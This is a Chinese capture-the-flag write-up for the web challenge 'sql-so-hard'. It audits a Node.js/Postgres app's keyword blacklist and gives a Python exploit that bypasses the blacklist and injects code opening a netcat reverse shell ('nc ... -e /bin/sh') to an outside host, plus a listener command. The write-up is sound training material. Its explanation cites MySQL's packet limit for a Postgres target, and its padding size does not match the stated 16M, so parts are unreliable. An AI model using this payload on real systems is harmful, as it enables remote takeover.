0%

sql-so-hard-CTF

来源信息

  • i春秋
  • 题目名称:sql-so-hard
  • 类型:Web
  • 难度:★★★★☆
  • 题目地址:链接
  • 题目内容:注入?注入!

解题

问题分析

进入题目可以发现又一个source文件,发现是一段代码,首先进行代码审计,发现是数据库的相关操作。

  • 连数据库

截屏2021-05-05 下午5.23.32.png

  • 接下来代码中定义了很多的keyword,很明显就是需要过滤的字符。如果string在keywords中的的话,就返回true,否则返回flase。

截屏2021-05-05 下午4.38.09.png

  • all函数作用:将请求包中的req和body今年过滤,如果发现关键字,就将其传给payload,如果payload的长度大于0的话,将其和ip一个插入到blacklists表中,然后再根据ip查表,如果表中有数据的话就进行拦截。

截屏2021-05-05 下午4.45.24.png

  • get请求方式,判断ip是否在黑名单中,如果在的话就拦截请求

截屏2021-05-05 下午4.50.54.png

  • post方法,判断username和password是否存在并长度大于等于4,如果是的话就将password处理成16进制的hash字符串,插入到users表中。

截屏2021-05-05 下午4.51.09.png

  • 监听31337端口,写日志

截屏2021-05-05 下午4.51.21.png

解题思路

根据代码的限制,我们要实现将username和password插入到数据库中,但要组织ip被写入到数据库中。

MySQL对于每次连接有最⼤包长度的限制,通过 max_allowed_packet 的配置来实现。所以,我们可以insert一个长度特别大的数据,这样insert语句就会被截断。最终,数据库中就不会有恶意payload信息,就绕过了waf。

这道题的考点是:node.js + postgres 从注入到Getshell,pg的代码执行漏洞。

所以这里我们需要构造payload超过16M,这样ip就会被截断,从而不会被插入到数据库中。

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
from random import randint
import requests
payload = """','')/*%s*/returning(1)as"\\'/**/-(a=`child_process`)/**/-(b=`nc XXX.XXX.70.119 10111 -e /bin/sh`)/**/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*16)

username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
r = requests.post('http://117.50.3.97:8003/reg', data=data);
print(r.content)

使用nc进行监听,反弹shell

1
nc -l 10111